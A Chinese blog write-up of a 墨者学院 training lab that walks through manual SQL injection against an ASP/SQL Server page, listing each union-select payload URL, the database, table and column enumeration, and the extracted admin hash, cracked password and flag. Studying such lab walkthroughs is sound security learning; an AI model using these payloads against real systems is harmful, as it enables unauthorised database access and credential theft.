SQL手工注入漏洞测试(Sql Server数据库)-墨者

news2025/1/22 15:45:30

———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Sql Server,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Sql Server的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        还是老套路,测试注入点,利用sql语句去找到用户账号信息,这个b密码肯定又是md5加密,能不能来点新套路(抓脸.jpg)。

靶场启动!!!我的墨币啊┭┮﹏┭┮,望大佬点赞回血。

还是那个熟悉的界面,我们点进去关于平台停机维护的通知。

http://219.153.49.228:41966/new_list.asp?id=2

整型注入点吗?我们先找找Sql Server和MySQL数据库的区别。

SQL Server和MySQL数据库的区别如下:

  1. 平台支持:SQL Server主要支持Windows平台,而MySQL则支持许多平台,包括Linux和Windows平台。
  2. 语法:SQL Server的语法相对简单易用,而MySQL的语法则较为复杂。
  3. 存储引擎:MySQL有多种存储引擎可供选择,而SQL Server则仅使用一个或单个存储引擎。
  4. 备份方式:在使用MySQL时,开发人员必须通过将所有数据提取为SQL语句来备份数据。而SQL Server在备份数据时不会阻止数据库,这使得用户能够备份和恢复大量数据,而无需花费额外的时间和精力。
  5. 性能:SQL Server被视为大型数据库,稳定且能做一般大系统的数据仓库,运行速度明显比MySQL快(尤其是海量数据下)。
  6. 价格:SQL Server的价格相对较高,而MySQL是免费的。
  7. 可扩展性:MySQL在可扩展性方面表现得更好,它允许开发人员根据性能更灵活地为表使用存储引擎。
  8. 社区支持:MySQL有一个庞大的开发者社区,提供了大量的教程、论坛和资源,使得开发人员可以很容易地获取帮助和支持。相比之下,虽然SQL Server也有一个活跃的社区,但其开发者社区规模可能不如MySQL。

纯套话,《国产ai.jpg》,我们再找找Sql Server和MySQL数据库在进行sql注入测试时候的区别吧。搜完了感觉除了注释符号不一样,MSSQL(sql server) 最高权限是sa,其他的大差不差,问题不大,我们就按mysql的来,出现错误了我们再去改。


解题步骤:

        

        一、验证注入点

http://219.153.49.228:41966/new_list.asp?id=2

对id这个参数进行尝试

http://219.153.49.228:41966/new_list.asp?id=2 and 1=1

ok正常访问,试试这个

http://219.153.49.228:41966/new_list.asp?id=2 and 1=2

访问不正常了,那注入点就在这里啦(苍蝇搓手.jpg)


        二、order by猜列

http://219.153.49.228:41966/new_list.asp?id=-2 union order by 1,2,3,4

昂?我们去w3school里面找找有没有相关的注入语句。

哦哦哦哦哦,order by 不用联合注入,而且只能传入一个参数,给忘了。猜列的时候,发现只有1,2,4显示了页面,可能有四个列。


        三、检查回显

http://219.153.49.228:41966/new_list.asp?id=-2 union select 1,2,4

昂?这是怎么了?系统应该是检测这个字符的,我们用小葵转换一下编码试试。能行,但不完全行,我找找其他资料吧。ooo原来是语句不正确。

我们测回显用这个语句

http://219.153.49.228:48244/new_list.asp?id=-2 union all select null,'null','null',null

 我们去一个个给每个null加上单引号。

也可以用order by +number

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,2,'3',4

最后把3用字符串表示(加了个单引号)能正常回显。说明第二和第三列有回显,第二列是整型,第三列是字符型


        四、获取数据库信息

+++

@@version 获取版本信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@version,'3',4

        Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

+++

db_name()当前数据库名字

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,db_name(),'3',4

        mozhe_db_v2

+++

user、system_user、current_user、user_name获取当前数据库用户名

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,user,'3',4

        dbo

+++

@@SERVERNAME 获取服务器主机信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@SERVERNAME,'3',4

        MOBAN9527\SQLEXPRESS


        五、查数据库表信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

注入语句:top 1(查询前1条数据)+name(查name字段)+mozhe_db_v2.dbo.sysobjects(当前数据库.dbo.sysobjects系统自带用户)+xtype='U'(限定user信息,dbo用户创建的表)

查询到的是manage表,用and name not in看看还有没其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage')),'3',4

再看看有没有其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage','announcement')),'3',4

没有了。接下来就是根据查到的数据库表信息去查列的信息了。


        六、查数据库表信息

我们查到跟dbo有关的数据库表就是manage,announcement了。announcement替你们查过了,跟flag没关系。直接展示manage了。

syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回当前数据库用户创建的对像的ID。

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

/new_list.asp?id=-1 union all select 1,(select username from manage),'a',4

查询(object_id('manage'),1)(object_id('manage'),2)(object_id('manage'),3)返回的分别是id,username,password。


        七、查数据

直接从manage表中查就行。

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select username from manage),'a',4

admin_mz

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select password from manage),'a',4

72e1bfc3f01b7583

MD5解密后为97285101

登陆拿到KEY: mozhea025436360d9d78553ba4c4a754


总结:

        难度:★★★★☆☆☆☆☆☆

        解析:整体难度有点稍高,因为和mysql语法有点区别,查数据方式也不太一样。好在思路没啥出入。记录一下手工注入流程,提高对MSSQL数据库的理解。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1290105.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

国内AI翘楚,看看有没有你心动的offer?

科技创新争占高地,AI领域各显神通。从一战成名的阿尔法狗到引起轩然大波的ChatGPT,我们早已卷入了一场没有硝烟的革命。前方世人看到的科技日新日异、岁月静好,后方是各大企业的绞尽脑汁、争先恐后。人工智能时代,AI是挡不住的时代…

Lebesgue积分及应用

Lebesgue积分及应用 文章目录 Lebesgue积分及应用一、Lebesgue测度和可测函数1.1 Riemann积分和Lebesgue积分1.2 直线上的Lebesgue测度【定义】外测度(Outer Measure)【定理】外测度的性质【定义】内测度【定义】可测、Lebesgue测度【定理】卡氏条件&…

Java注册并监听全局快捷键

背景 之前在博客中分享了SWT托盘功能, 随之带来一个问题, 当程序最小化后无法快速唤醒, 按照平时使用软件的思路, 自然想到了注册全局快捷键, 本文介绍使用java方式实现全局快捷键的注册. 方案 通过google,搜到一个现成的库: jintellitype, 使用maven可以直接引用, 非常方便…

C语言易错知识点八(整形与浮点型在内存中存储的实质)

整形与浮点型在内存中存储的实质 当我们在刷抖音或者其他短视频平台时,可能会时不时(总是,我相信大家肯定是不会被外表骗到的那一类人ヾ(●゜ⅴ゜)ノ)刷到各种帅哥美女的视频,或者我们在学校里看到帅哥美女时,如果我们只…

NFC和蓝牙在物联网中有什么意义?如何选择?

#NFC物联网# #蓝牙物联网# 在物联网中,NFC和蓝牙有什么意义? NFC在物联网中代表近场通信技术。它是一种短距离、高频的无线通信技术,可以在近距离内实现设备间的数据传输和识别。NFC技术主要用于移动支付、电子票务、门禁、移动身份识别、防…

Vue2中v-html引发的安全问题

前言:v-html指令 1.作用:向指定节点中渲染包含html结构的内容。 2.与插值语法的区别: (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意:v-html有安全性问题&#xff0…

STM32串口接收数据包(自定义帧头帧尾)

1、基本概述 本实验基于stm32c8t6单片机,串口作为基础且重要的外设,具有广泛的应用。本文主要理解串口数据包的发送与接收是如何实现的,重要的是理解程序的实现思路。 2、关键程序 定义好需要用到的变量: uint8_t rxd_buf[4];//…

湖南麒麟下默认使用串口输出系统日志

有时候为了调试方便,需要将系统日志通过CPU的串口进行输出,以下是针对至强E5V4处理器上安装湖南麒麟操作系统后将日志通过串口输出的配置。 首先在bios中打开串口重定向功能,这里的BIOS是AMI的BIOS 内部配置如下,波特率115200配置…

ESP32网络开发实例-发送邮件

发送邮件 文章目录 发送邮件1、邮件发送配置2、软件准备3、硬件准备4、代码实现本文将详细介绍在ESP32中如何使用SMTP协议发送邮件。 1、邮件发送配置 在本次实例中,我们将通过QQ邮箱向指定邮件地址发送邮件。 第一步,注册QQ邮箱 第二步,开启QQ邮箱SMTP/IMAP 服务: 生成…

一文搞懂Git版本控制系统

1. Git简介 当涉及到软件开发或协作时,版本管理是一个不可或缺的概念。无论你是一个独立开发者还是一个团队成员,都会遇到需要跟踪和管理代码变更的情况。这时候,Git作为一个强大而流行的版本控制系统就发挥着重要的作用。 Git(读…

使用Pytoch实现Opencv warpAffine方法

随着深度学习的不断发展,GPU/NPU的算力也越来越强,对于一些传统CV计算也希望能够直接在GPU/NPU上进行,例如Opencv的warpAffine方法。Opencv的warpAffine的功能主要是做仿射变换,如果不了解仿射变换的请自行了解。由于Pytorch的图像…

每日一题:LeetCode-75. 颜色分类

每日一题系列(day 12) 前言: 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 🌈 &#x1f50e…

【多线程】线程的三种常见创建方式

文章目录 线程创建方式1——Thread线程创建方式2——Runnable线程创建方式2——匿名内部类线程创建方式3——Callable、FutureTask,带返回值 线程其实是程序中的一条执行路径。 那怎样的程序才是多线程程序呢? 例如12306网站就是支持多线程的,因为同时可…

通过仿真理解信道化接收机分析过程

概要 信道化从子信道带宽划分上可分为临界抽取和非临界抽取两种,从各子信道中心频率布局上可分为偶型排列和奇型排列,从处理流程上可分为信道化分析与信道化综合过程。本文主要通过仿真来理解偶型排列/临界抽取/信道化分析过程。 基本原理 常规的数字…

基于KSZ9897VLAN 虚拟WAN网络接口

目录 1:先看看高通的8327是如何虚拟网络接口 2: Linux 内核中选上802.1Q 3: 实际效果展示 4:配置使用 1:先看看高通的8327是如何虚拟网络接口 rootOpenWrt:~# cat /etc/config/wirelessconfig wifi-device wifi0option type qcawifioption macaddr 68:89:75:04:…

三十九、TCC模式

目录 一、定义 1、需要实现的方法: 2、优点: 3、缺点: 二、原理 1、例子: 2、工作模型图: 3、空回滚和业务悬挂 三、实现TCC模式 1、编写TCC服务接口 2、实现TCC服务接口 一、定义 TCC模式是Translucent Tr…

三焦不通,百病丛生?三焦指的到底是什么?

本 期 导 读 今天来讲一讲,看起来比较古怪的腑——三焦。 三焦的名字虽出于《内经》,但对它的描述却不像其他十一脏腑那么具体,留下了极大的解说空间。 三焦真的不可捉摸吗?当然不是。本文就带你揭开三焦的那层似有还无的面纱…

SQL手工注入漏洞测试(Access数据库)-墨者

———靶场专栏——— 声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。 靶场背景: 来源: 墨者学院 简介: 安全工程师"墨者"最近在练习SQL手工注入漏洞&#…

YOLOv8改进 | TripletAttention三重注意力机制(附代码+机制原理+添加教程)

一、本文介绍 本文给大家带来的改进是Triplet Attention三重注意力机制。这个机制,它通过三个不同的视角来分析输入的数据,就好比三个人从不同的角度来观察同一幅画,然后共同决定哪些部分最值得注意。三重注意力机制的主要思想是在网络中引入…

社区生鲜店铺线上管理平台,提升店铺运营管理效率的秘密武器

智慧零售是一种基于现代技术的零售模式,通过人工智能、大数据分析和物联网等先进技术的运用,对商品销售、用户需求和市场趋势进行深度分析和预测,从而实现精细化管理和个性化服务。智慧零售不仅可以优化商品的库存管理和运营效率,…